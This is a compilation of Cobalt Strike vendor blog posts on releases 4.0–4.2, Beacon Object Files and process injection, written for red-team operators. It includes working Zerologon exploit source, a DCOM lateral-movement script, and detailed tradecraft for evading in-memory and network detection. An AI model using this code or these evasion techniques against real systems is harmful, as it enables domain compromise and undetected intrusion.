Cobalt Strike 4.2 – Everything but the kitchen sink

Cobalt Strike 4.2 is now available. This release overhauls our user exploitation features, adds more memory flexibility options to Beacon, adds more behavior flexibility to our post-exploitation features, and makes some nice changes to Malleable C2 too.

User Exploitation Redux

Cobalt Strike’s screenshot tool and keystroke logger are examples of user exploitation tools. These capabilities are great for risk demonstration and story telling. But, with good UX, these features are also powerful capabilities to collect information that aids moving closer to an objective in a network.

Cobalt Strike’s screenshot tool and keystroke logger now report active window, username, and desktop session with each of their results. This context helps our GUI, logs, and reports display where this information came from. It’s a subtle change, but a big enhancement:

The right-click menu in the screenshot and keystroke has updates too. You can now remove a keystroke buffer or screenshot from the interface. Highlight a row with a color. And, save the keystroke buffer or screenshot to a local file as well.

We also split screenshot into two commands: screenshot and screenwatch. The screenshot command takes a single screenshot. The screenwatch command (which can fork&run or inject into a specific process) takes screenshots continuously until it’s stopped with the jobkill command.

As believers in offense in depth, we’ve added new options to acquire screenshots and log keystrokes too. The printscreen command forces a PrintScr keypress and grabs the screenshot from the clipboard. This command was inspired by the creative and awesome Advanced Post-Exploitation Workshop given by @zerosum0x0 and @aleph__naught at 2017’s DEF CON 25. And, we’ve added a post-ex -> keylogger Malleable C2 option to change the keystroke logger between GetAsyncKeyState and SetWindowsHookEx methods.

More In-memory Flexibility

Cobalt Strike has long had an interest in in-memory detection and evasion. I love in-memory detections, because I think these tactics put real pressure on post-exploitation survival. But, it’s also important to challenge security teams that rely on these tactics, to force thinking beyond that “one easy trick” that’s working right now.

Cobalt Strike 4.2 continues to build Beacon’s in-memory flexibility.

Beacon’s Reflective Loader now has two added options for allocating memory for the Beacon payload in memory. Set stage -> allocator to HeapAlloc to use RWX heap memory for the Beacon payload. Set stage -> allocator to MapViewOfFile to stick Beacon in mapped memory. This is in addition to VirtualAlloc (the default) and 3.11’s module stomping, which is our way of putting Beacon into image memory.

We’ve also added new options for content flexibility. Beacon’s Reflective DLL follows Metasploit’s conventions to make itself self-bootstrapping. We patch the beginning of the DLL (the part with that MZ header) with instructions to call the Reflective Loader with a few arguments. A common in-memory detection trick is to scan executable memory regions for MZ and PE content that looks like a PE/COFF file. These items are easy “it has to be there” content to find a Reflective DLL. Not anymore though.

Set magic_mz_x86 to change the x86 Reflective DLL MZ header in Beacon. This updates the other parts of the loading process that depend on the value. The catch is that valid x86 instructions are required for magic_mz_x86. For example, MZ in x86 are the instructions dec ebp, pop edx. You don’t want to begin execution with unexpected state, so it’s also recommended to undo any state changes made by your instructions. This is why the default magic_mz_x86 value is MZRE. The R and E bytes decode to push edx, inc ebp. They undo the effect of the MZ instructions. The same idea applies for set magic_mz_x64 too.

We’ve also added set magic_pe which changes the PE header magic bytes (and code that depends on these bytes) to something else. You can use whatever you want here, so long as it’s two characters.

Post-ex Omikase Shimasu: Second serving

Cobalt Strike 3.14 introduced a lot of options to change behaviors, characteristics, and content in Cobalt Strike’s post-exploitation DLLs. Cobalt Strike 4.2 continues this work.

We’ve added post-ex -> pipename to Malleable C2. This is an option to specify a comma-separated list of pipenames. Cobalt Strike will choose one of these when it executes its post-exploitation jobs. #s in the pipename are replaced with a [a-f0-9] character. We’ve also added set ssh_pipename to change the named pipe used by Cobalt Strike’s SSH client. Multiple pipenames are allowed in this option too.

Some of Beacon’s post-exploitation DLLs do create threads. In a keystroke logger that uses GetAsyncKeyState, this isn’t easily avoidable. 🙂 To help these situations, we’ve introduced post-ex -> thread_hint to Malleable C2. When set, our post-ex DLLs will create a suspended thread with the specified module!function+0x[offset] address. Update the thread to run the post-exploitation capability. And, resume it. This is a way to push back on point-in-time analysis that looks for moduleless thread start addresses.

And, one of my favorite features in Cobalt Strike is the obfuscate and sleep feature. This is the ability for Beacon to mask its content [and code, if you’re RWX] in memory during long blocking periods. Obfuscate and sleep is a method to push back on point-in-time analysis that looks for known strings in memory. Now, when post-ex -> obfuscate is true, Cobalt Strike’s execute-assembly, keystroke logger, screenshot, and SSH client features will mask many of their strings while they’re running.

Malleable C2 Things…

And, we’ve made several updates to the communicate side of Malleable C2. We’ve doubled the maximum size of the global useragent field. We’ve also doubled the max size of the the http-get -> client and http-post -> client programs too. This will help those of you that had run into the previous limits in your profile writing.

This release adds the global headers_remove option. This option affects http-get and http-post client blocks. It’s a late-in-the-transaction option to remove unwanted HTTP client headers from the communication. WinINet, based on its configuration, will force some headers into the transaction. You may specify specify multiple unwanted headers (separate them with commas) in this option.

And, Cobalt Strike 4.2 introduces a data content jitter as well. Set data_jitter to a number value and Cobalt Strike will append a random content and length string (up to the data_jitter value bytes) to its http-get and http-post server output.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.2. Licensed users may run the update program to get the latest. To procure Cobalt Strike (or ask about evaluation options), please contact us for more information.

Beacon Object File ADVENTURES: Some Zerologon, SMBGhost, and Situational Awareness

Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

 * Port of SharpZeroLogon to a Beacon Object File
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
typedef struct _NETLOGON_CREDENTIAL {
    CHAR data[8];
    DWORD Timestamp;
    NullSecureChannel = 0,
    MsvApSecureChannel = 1,
    WorkstationSecureChannel = 2,
    TrustedDnsDomainSecureChannel = 3,
    TrustedDomainSecureChannel = 4,
    UasServerSecureChannel = 5,
    ServerSecureChannel = 6,
    CdcServerSecureChannel = 7
typedef struct _NL_TRUST_PASSWORD {
    WCHAR Buffer[256];
    ULONG Length;
void go(char * args, int alen) {
    DWORD                  i;
    NETLOGON_CREDENTIAL    ClientCh       = {0};
    NETLOGON_CREDENTIAL    ServerCh       = {0};
    NETLOGON_AUTHENTICATOR Auth           = {0};
    NETLOGON_AUTHENTICATOR AuthRet        = {0};
    NL_TRUST_PASSWORD      NewPass        = {0};
    ULONG                  NegotiateFlags = 0x212fffff;
    datap                  parser;
    wchar_t *              dc_fqdn;     /* */
    wchar_t *              dc_netbios;  /* DC */
    wchar_t *              dc_account;  /* DC$ */
    /* extract our arguments */
    BeaconDataParse(&parser, args, alen);
    dc_fqdn    = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_netbios = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_account = (wchar_t *)BeaconDataExtract(&parser, NULL);
    for (i = 0; i < 2000; i++) {
        NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &ClientCh, &ServerCh);
        if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &ClientCh, &ServerCh, &NegotiateFlags) == 0)) {
            if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &Auth, &AuthRet, &NewPass) == 0) {
                BeaconPrintf(CALLBACK_OUTPUT, "Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync", dc_account);
            else {
                BeaconPrintf(CALLBACK_ERROR, "Failed to set machine account pass for %S", dc_account);
    BeaconPrintf(CALLBACK_ERROR, "%S is not vulnerable", dc_fqdn);

I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.

What’s neat about this implementation is that it offers two paths to use this exploit. The first path spawns a session and integrates with Beacon’s elevate (elevate smbghost) command. The exploit itself modified our current process’ token, allowing it to do some privileged things from the current context. This first weaponization path uses these semi-enhanced privileges to inject a payload into winlogon.exe.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization 🙂 I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

Windows Reconaissance Tools

The above Beacon Object Files are examples I’ve cobbled together. One of my favorite examples of Beacon Object Files come from Christopher Paschen at TrustedSec. Christopher wrote about his experiences with Beacon Object Files in A Developer’s Introduction to Beacon Object Files.

TrustedSec also published a collection of Beacon Object Files (and scripts to integrate them) on Github. The collection is awesome, by the way!

The collection includes several system reconaissance commands that would normally use Cobalt Strike’s fork&run pattern or require you to spawn an external process to get information. It’s a great example of what BOFs enable in this toolset.

To use the collection, simply clone the repository onto your Cobalt Strike system. Then go to Cobalt Strike -> Scripts in Cobalt Strike. Press Load. And navigate to the SA folder (from this repository) and load SA.cna. You will suddenly have a bunch of new aliases you can use from Beacon.

Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!

Cobalt Strike 4.1 – The Mark of Injection

Cobalt Strike 4.1 is now available. This release introduces a new way to build post-ex tools that work with Beacon, pushes back on a generic shellcode detection strategy, and grants added protocol flexibility to the TCP and named pipe Beacons.

Beacon Object Files

Cobalt Strike has weaponization options for PowerShell, .NET, and Reflective DLLs. These three options rely on Beacon’s fork&run mechanism. This is Cobalt Strike’s pattern to spawn a process, inject a capability into it, and receive output over a named pipe. This is OK in some engagements. It’s too OPSEC-expensive in others.

We’ve long had requests for some option to run custom capability directly within the Beacon payload, without fork&run. Beacon Object Files are our answer to this request. Beacon Object Files are a way to build small post-ex capabilities that execute in Beacon, parse arguments, call a few Win32 APIs, report output, and exit.

A Beacon Object File is an object file, produced by a C compiler, that is linked and loaded by Cobalt Strike. Beacon Object Files can call Win32 APIs and have access to some internal Beacon APIs (e.g., for output, token impersonation, etc.).

Here’s an example Beacon Object File (it’s Beacon’s ‘net domain’ command):

#include <windows.h>
#include <stdio.h>
#include <LM.h>
#include <dsgetdc.h>
#include "beacon.h"
void go(char * args, int alen) {
    DWORD dwRet;
    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
    if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);

To compile this with MinGW:

x86_64-w64-mingw32-gcc -c net_domain.c -o net_domain.o

Or, if you prefer, you can use Microsoft’s compiler as well:

cl.exe /c /GS- net_domain.c /Fonet_domain.o

Use Beacon’s inline-execute command to run it:

beacon> inline-execute /path/to/net_domain.o

Beacon Object Files do have limits. As it’s an object file and Beacon is the linker, the functions available to you are the ones located in your object file, the Win32 API (following the convention of modulename$function), and the built-ins resolved by Beacon.

The benefit of Beacon Object Files is they’re very small (none of the cruft from DLLs), Beacon has full control over how and where they live in memory, and they do not require [too many] C coding tricks or carefully crafted compiler and linker switches.

The Mark of Injection

Position-independent code (injected DLLs, stagers, etc.) in many offense toolkits have a common initial action. They immediately find kernel32 in memory and walk its Export Address Table to find function pointers needed to bootstrap the position-independent code.

The NT Shellcode Prevention Demystified article in a 2005 issue of Phrack details a detection based on this behavior. Microsoft’s EMET implements this as EAF (Export Address Filtering). A graduated version of the EMET implementation is baked into Windows 10 as EAF+. This concept is interesting stand-alone. It’s also interesting as a signal to mark a process or thread as compromised with injected code to support behavior-based detection chains.

Cobalt Strike’s strategy to avoid this behavior is to pass key function pointers to its post-exploitation tools, when they’re known. This is smart inject and it was introduced in Cobalt Strike 3.14 for the product’s built-in fork&run post-exploitation features.

This release extends Smart Inject to the Beacon payload.

The Artifact Kit and Resource Kit (PowerShell only) were updated with a convention to patch GetProcAddress and GetModuleHandleA into position-independent code before it executes. This allows Beacon to bootstrap itself without walking the import or export address tables to find these pointers.

For built-in actions that spawn a session (e.g., spawnas, spawnu, inject, etc.); Beacon will generate a payload that inherits key function pointers from a same-arch parent Beacon. &payload_local in Aggressor Script exists to allow scripted session passing capability to do the same.

Smart Inject is optional and it’s disabled by default. Set stage -> smartinject to true, via your Malleable C2 profile, to enable this behavior in your Beacon payload. Set post-ex -> smartinject to true, to enable this behavior in Beacon’s post-ex DLLs.

Malleable Named Pipe and TCP Communication

This release introduces some malleability to Cobalt Strike’s named pipe and TCP Beacons.

The named pipe Beacon has long had the ability to set the named pipe to something other than the default. This release adds the smb_frame_header option to prepend a header to every frame sent via the named pipe Beacon. This is a way to push back on static detections that target the structure and content of named pipe Beacon messages.

The TCP Beacon also has tcp_frame_header to prepend a header to frames sent by the TCP Beacon.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.1. Licensed users may run the update program to get the latest. If you get a certificate error, download the latest distribution package.

If this release piques your interest in Cobalt Strike, contact us for a quote.

SSL certificate verification for failed

TL;DR a certificate for part of the Cobalt Strike update infrastructure changed. Download the 20200511 distribution package to avoid certificate verification errors.

If you recently ran the Cobalt Strike update program (version 20191204); you may see a nice message about the failed SSL certificate verification for hosts a text file with SHA256 hashes for the licensed Cobalt Strike product and its distribution packages. The update program queries this server after it downloads a new Cobalt Strike update. The update programs pins the certificate for this server. When the certificate does not match what update expects, the update program rightfully gives a rather stern and scary warning. “Someone may be hacking you, don’t trust this update”. This is by design. I want you to know you’re getting the update from HelpSystems and not Comrade Adversary and their merry band of update poisoning friends.

The above step works great when the update program knows the current SSL certificate. Today was a special day for though. Its certificate expired. This was a planned event and the update program did ship with a hash for the replacement certificate when I pushed the 4.0 release in December. Sadly, the string representation of the new certificate hash differed in a way that causes the update program to reject the new certificate. Oops!

I’ve updated the update program to resolve this issue. It’ll say Cobalt Strike Update (20200511) when you run it. If you’re seeing this certificate error, download the updated distribution package at

Cobalt Strike joins Core Impact at HelpSystems, LLC

I founded Strategic Cyber LLC in 2012 to advocate a vision of threat-representative security testing. Over time, Cobalt Strike became the de facto commercial standard for red team operations and adversary simulations. I’ve long asked myself, how do I stay a good partner to my customers as their numbers grow and this field evolves?

Today is a big step forward as Minnesota-based HelpSystems, LLC has acquired Strategic Cyber. I have joined HelpSystems as a Technical Director for Cybersecurity. I will lead the team that continues the R&D-driven releases of the Cobalt Strike product. The Cobalt Strike product and business operations of Strategic Cyber will benefit from the experience and resources at HelpSystems.

HelpSystems is a good fit for Strategic Cyber and its customers. The company was founded in 1982 and is a cyber security company and the largest independent vendor in the IBM i space. Their portfolio includes antivirus, identity and access management, secure file transfer, intrusion detection, and security services for IBM i, Linux, and other platforms. HelpSystems became successful through good products, partnership with their customers, and taking care of their team.

HelpSystems is the parent company of Core Security, the creators of the Core Impact penetration testing tool. Core Impact came to market in 2003, a time when exploits were published by anonymous authors and the use of these exploits had safety and reliability implications. Core Impact became the trusted product to automate penetration tests, exploit the latest vulnerabilities, and pivot to new targets.

Cobalt Strike’s story is similar. Cobalt Strike came to market in 2012, a time when security meant prevention of breaches with less thought on post-breach containment, detection, and response. Cobalt Strike explored the post-breach offense problems of team collaboration, flexible communications, and novel capability to demonstrate risks. When security teams needed to emulate real-world attack scenarios to improve security operations and exercise processes, Cobalt Strike became the natural choice.

I’m excited to explore the synergy between Cobalt Strike and Core Impact. Our work is to share knowledge, offer real insight into risk, and drive objective and meaningful security advances. As this field evolves, we will evolve with it.

Press Release:

Cobalt Strike 4.0 – Bring Your Own Weaponization

Cobalt Strike 4.0 is now available. This release improves Cobalt Strike’s distributed operations model, revises post-exploitation workflows to drop some historical baggage, and adds “Bring Your Own Weaponization” workflows for privilege escalation and lateral movement.

A Vision for Red Team Server Consolidation

Cobalt Strike’s model for distributed operations (2013!) is to stand up a new server for each piece of engagement infrastructure. The Cobalt Strike client is multi-server aware and able to pass sessions between these servers and generate reports that uses all of their data.

The above model works well when the goal is to keep each piece of engagement infrastructure separate. For example, I continue to assert that the infrastructure you operate on should be very separate from the infrastructure any persistence calls home to. This separation minimizes the risk that an operator might task your persistent DNS Beacon to download and run mimikatz.

This model does break down when multiple servers are used to support post-exploitation and lateral movement. Each server is a silo with a subset of available credential and target information available to it. Further, each server is also an island with its own SMB and TCP Beacon meshes that other servers can’t control without hacks.

This problem set motivated a series of efforts, in Cobalt Strike 4.0, designed to make it practical to use a single team server to control multiple pieces of engagement infrastructure.

Cobalt Strike now supports multiple egress listeners. You can define multiple HTTP, HTTPS, and DNS Beacons on one team server. You can also stand up multiple TCP and SMB Beacon payload configurations on the same server as well.

Cobalt Strike now supports port bending, allowing you to bind redirectors to common ports (e.g., 80, 443, and 53) and pass traffic back to a listener bound to a different port.

Malleable C2 was extended with the concept of profile variants. A variant is one or more http-get, http-post, or http-stager blocks that are defined as a variation of the current profile file. You may pack multiple variants into a single profile. Each listener you stand up can have a different profile variant. [A demo of variants is at 16:44 in the video below]:

The listener management UX in Cobalt Strike underwent a much-needed overhaul to present these options in an approachable way.

The sessions table was also updated to show the egress listener for each Beacon in its own column. This is a small detail, but something I consider important when managing multiple egress paths through a single server. You need to know which channel is associated with each session so you can make post-ex decisions informed by the channel’s constraints (e.g., I wouldn’t try to egress a multi GB file over an HTTP GET-only C2 routed through a CDN).

The end result of this effort is you can now manage a lot of infrastructure through a single Cobalt Strike team server.

Revising the Toolset

In 2017’s Fighting the Toolset talk, I shared what I perceived as limitations in the Cobalt Strike product’s workflows and best practices to work around these limitations. It’s one of my favorite lectures about the product. Cobalt Strike 4.0 does a lot to update Cobalt Strike’s workflows to the Fighting the Toolset ideas.

This release greatly reduces Cobalt Strike’s use of PowerShell in its post-exploitation automation. The spawnas, spawnu, and elevate uac-token-duplication tools now spawn a temporary process and inject the specified payload into it. These commands use your spawnto value and process-inject configuration in your Malleable C2 profile.

Cobalt Strike 4.0 also removes payload stagers from Cobalt Strike’s post exploitation workflows. When you inject a payload or spawn a session, for post-ex purposes, Cobalt Strike will now pass the entire payload and skip the use of stagers altogether. This simplifies your attack chain and removes a nasty memory indicator when you take one of these actions. There’s another benefit too. Cobalt Strike has had an option to disable the hosting of payload stages since version 3.5.1. Setting the host_stage option to false used to degrade the product’s post-ex workflows in a noticeable way. Now, if you set this option to false, you won’t feel an impact once you have initial access. Setting this option to false has a huge OPSEC benefit as it hinders efforts to survey team servers and analyze their payload data.

This release makes it natural to start from an x64 context and stay there. I very much recommend sticking to an x64 context on an x64 system. The Scripted Web Delivery tool was made stageless and expanded with an x64 option. Post-ex actions that spawn a payload (e.g., spawn, spawnas, elevate) will now match the architecture of their parent Beacon (e.g., an x64 session will spawn an x64 session) or give an explicit option. This release adds x64 lateral movement options too.

Finally, Cobalt Strike 4.0 introduces an internal inline-execute post-exploitation pattern. Inline-execute passes a capability to Beacon as needed, executes it inline, and cleans up the capability after it ran. This post-exploitation interface paves the way for future features that execute within Beacon’s process context without bloating the agent itself. Several post-exploitation features were ported over to this already (e.g., elevate uac-token-duplication, getsystem). Inline-execute is a path to reduce some of Cobalt Strike’s use of the fork&run pattern (where it makes sense) over time.

You might as well Jump

Once you open up the Beacon console, you’ll probably notice that the psexec, psexec_psh, winrm, and wmi commands for lateral movement are gone. These were removed and replaced with the jump command.

The jump command works similar to elevate. Type ‘jump’ by itself and you will get back a list of lateral movement modules. Use jump [module] [target] [listener] to spawn a session on a remote target.

Similar to elevate, you can add jump modules via Aggressor Script.

Bring Your Own Weaponization

The jump and elevate commands present an interesting conundrum. Some privilege escalation and lateral movement options present a natural path to spawn a session. For example, with psexec, it makes sense to copy an EXE to a share and create a service to run it. These steps use the same protocol. With WinRM, it’s possible to pass a large PowerShell script to load a payload in-memory on the far end. Similarly, with privilege escalation, some options yield a privileged context as a token or process handle that’s easy to immediately execute a payload from.

Not everything yields a clear weaponization path though. For example, Matt Nelson’s technique to execute a payload via DCOM is a great remote execute primitive. Turning this execute primitive into a session requires the capability developer to make a lot of decisions for the operator though. An offense trope, when given an execute primitive, is to use a PowerShell one-liner to spawn a session. The problem with these tropes is that the automation becomes the thing that’s “tested” and detected instead of the technique itself.

Pondering on the above led to Cobalt Strike 4.0’s “Bring Your Own Weaponization” (BYOW) approach to privilege escalation and lateral movement. The idea behind BYOW is to make the lateral movement and privilege escalation command execute-only primitives available through a common and extensible interface. This makes the execute primitive easy and quick to use, but gives the operator the choice on how to use it. For scripters, these interfaces are less intimidating to work with, as the scripter doesn’t have to implement a weaponization pattern when no single good option exists.

sub mmc20_exec_method {
    local('$script $command $args');
    # state what we're doing.
    btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");
    # separate our command and arguments
    if ($3 ismatch '(.*?) (.*)') {
        ($command, $args) = matched();
    else {
        $command = $3;
        $args    = "";
    # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
    $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
    $script .= $2;
    $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
    $script .= $command;
    $script .= '", $null, "';   
    $script .= $args;
    $script .= '", "7");';
    # run the script we built up
    bpowershell!($1, $script, "");
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

runasadmin is the BYOW tool for privilege escalation. Type runasadmin, by itself, to see a list of command elevators registered with Cobalt Strike. Use runasadmin [module] [command+args] to execute the specified command in a privileged context. This gives you, the operator, choice on how to use the primitive. If you want to spawn a session by dropping an EXE to disk–you can do that. If you want to weaken the target in some way, that’s fair game too. Or, maybe, you want to use a PowerShell one-liner to spawn a session. You can still do that too. Right-click on your Beacon session, go to Access -> One-liner. This dialog will setup a [one time use only!] session-contained PowerShell one-liner (e.g., no remote connection is made) to execute a stageless payload via PowerShell when run.

remote-exec is the BYOW tool for lateral movement. Type remote-exec to see a list of remote execute modules registered with Cobalt Strike. Use remote-exec [module] [target] [command+args] to execute the specified command on a remote target. Similar to runasadmin, you have the choice on how to use these primitives. You can kick off an EXE, run a script artifact placed on target or a target-accessible share, or weaken the remote target in some way.

Bring Your Own Weaponization is not a replacement for elevate and jump. It is an alternative set of approaches to these commands.

Red Team Operations with Cobalt Strike

This release also brings an updated and revised course on the Cobalt Strike product. The Red Team Operations with Cobalt Strike course is 11 hours(!) of material to explain the strategies and process this product is designed to support. The course is very heavy on tradecraft and evasion theory. If those topics are your thing, I recommend you check it out.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.0. Licensed users will want to download the Cobalt Strike 4.0 distribution package and run the update program to get the latest. [Note: the 3.14 updater will continue to deliver the 3.14 version. If you want 4.0, download the distribution package!]

If this release piques your interest in Cobalt Strike, contact Strategic Cyber LLC for a quote. Now that this 4.0 release is out, I promise I’ll respond faster [starting tomorrow].

Cobalt Strike’s Process Injection: The Details

Cobalt Strike 3.14 finally delivered some of the process injection flexibility I’ve long wanted to see in the product. In this post, I’d like to write about my thoughts on process injection, and share a few details on how Cobalt Strike’s implementation(s) work. Along the way, I will share details about which methods you might want to use in your red team exercises.

Where does Cobalt Strike process inject?

Cobalt Strike does process injection in a few places. Some of its artifacts spawn and migrate to a new process. While these are an important part of the attack chain, they’re under your control via the Artifact Kit, Applet Kit, and Resource Kit. This post focuses on the process injection in Cobalt Strike’s Beacon payload.

The inject and shinject commands inject code into an arbitrary remote process. Some of the tool’s built-in post-exploitation jobs can target specific remote processes too. Cobalt Strike does this because it’s safer to inject a capability into a context that has the data you want vs. migrating a payload and C2 to that context.

Many of Cobalt Strike’s post-exploitation features spawn a temporary process, inject the feature’s DLL into the process, and retrieve the results over a named pipe. This is a special case of process injection. In these cases, we control the temporary process. We know the process has no purpose beyond our offense action. This allows us to do more aggressive things. For example, we can take over the main thread of these temporary processes and not worry about giving it back. This is an important detail to keep in mind when configuring process injection in Cobalt Strike.

The Process Injection Cycle

The process-inject block in a Malleable C2 profile is where you configure process injection in Cobalt Strike:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

This block is organized around the lifecycle of the process injection process. Here are the steps:

1. Open a handle to the remote process
2. Allocate memory in the remote process
3. Copy the injected data to the remote process
4. Ask the remote process to execute our injected code

Allocate and Copy Data to a Remote Process

Step 1 is kind of implicit. If we spawn a temporary process (e.g., for a post-exploitation job); we already have a handle to do things to the remote process. If we want to inject code into an existing remote process (naughty, naughty), Cobalt Strike will use OpenProcess to do this.

Steps 2 and 3:

Cobalt Strike offers two options to allocate memory in a remote process and copy data to it.

The first option is the classic VirtualAllocEx -> WriteProcessMemory pattern. This is a common pattern in offense tools. This option also works across different process architectures. This matters. Process injection is not limited to an x64 process context injecting into an x64 target process. A good implementation needs to account for the different corner cases that come up (e.g., x86 -> x64, x64 -> x86, etc.). This requirement makes VirtualAllocEx a safe choice. It’s also the default Cobalt Strike uses. If you want to explicitly specify this pattern: set the process-inject -> allocator option to VirtualAllocEx.

Cobalt Strike also has the CreateFileMapping -> MapViewOfFile -> NtMapViewOfSection pattern. This option creates a file mapping that is backed by the Windows system paging file. It then maps a view of that mapped file into the current process. Cobalt Strike then copies the injected data to the memory associated with that view. The NtMapViewOfSection call makes the same mapped file (with our local changes) available in the remote target process. This is available if you set process-inject -> allocator to NtMapViewOfSection. The downside to this option is it only works x86 -> x86 and x64 -> x64. For cross-architecture injection, Cobalt Strike will fall back to the VirtualAllocEx pattern. This pattern is useful in situations where a defense solution hones in on VirtualAllocEx -> WriteProcessMemory but does not detect other methods to copy data into a remote process.

Transform your Data

The above description of steps 2 and 3 assumes that you’re copying the injected data over as-is. That’s not necessarily true. Cobalt Strike’s process-inject block has options to transform the injected data. The min_alloc option is the minimum size of the block Beacon will allocate in a remote process. The startrwx and userwx options are a hint to the initial and final permissions of the allocated memory. If you want to avoid RWX pages, set these options to false. The transform-x86 and transform-x64 blocks allow you to pad either side of the injected data. If you prepend data, make sure it’s valid code to execute for that architecture.

The options to transform content in the process-inject block are very basic. They’re basic because these are options that are safe for all injected content. If I assume what I receive is a position-independent blob that is a self-contained program, I know I am OK to prepend and append data to it at will. If I assume that this position-independent blob does not modify itself, I know I can get away without RWX permissions. These things are as far as I’m willing to go with data I know nothing about. For more aggressive changes to injected content itself, use the Malleable C2 stage block to modify Beacon. Use the Malleable C2 post-ex block to modify Cobalt Strike’s actual post-exploitation DLLs.

Don’t dismiss these transforms because they are basic though. A lot of content signatures look for specific bytes at fixed offsets from the beginning of an observable boundary. These checks occur in O(1) time which is favorable to an O(n) [or worse] search. Too many expensive checks and a security technology can run into performance issues.

Binary padding can also affect the thread start address offset of your Cobalt Strike post-exploitation jobs. When Beacon injects a DLL into memory; it starts the thread at the location of that DLL’s exported ReflectiveLoader function. This offset shows up in the thread’s start address characteristic and is a potential indicator to hunt for a specific post-exploitation DLL. Data prepended to an injected DLL affects this offset. (Less visible threads help too; we’ll get to that in a moment…)

Part 3 of In-Memory Evasion has some more discussion on content, memory, and thread characteristics that are used to detect injected DLLs in memory.

Code Execution: So many damned corner cases…

At this point, we assume our injected content is in the remote process. The next step is execute that content. This is where the process-inject -> execute block comes in. Here, you get to specify which options Cobalt Strike will consider when it needs to inject code. Beacon goes through these options, one at a time, and tries the options that are valid to the current context. When one of these options succeeds, Beacon stops this process.

I mentioned it earlier, but I want to emphasize it again: process injection is filled with corner cases. The list of options you specify has to cover these corner cases. If your list of options misses a corner case, you will find that process injection fails for seemingly random reasons. My goal with this blog post is to help clear up some of these seemingly random reasons.

What are those corner cases?

All of the injection techniques implemented in Cobalt Strike work x86 -> x86 and x64 -> x64. Injecting from one architecture into the other is a trivial base case. But, x86 -> x64 and x64 -> x86 are contexts that matter too.

One context factor (favorable, if we treat it different) is whether or not the remote process is a throw-away temporary process. Remember, Beacon’s post-ex jobs spawn a temporary process and because the process is temporary—we can do more aggressive things.

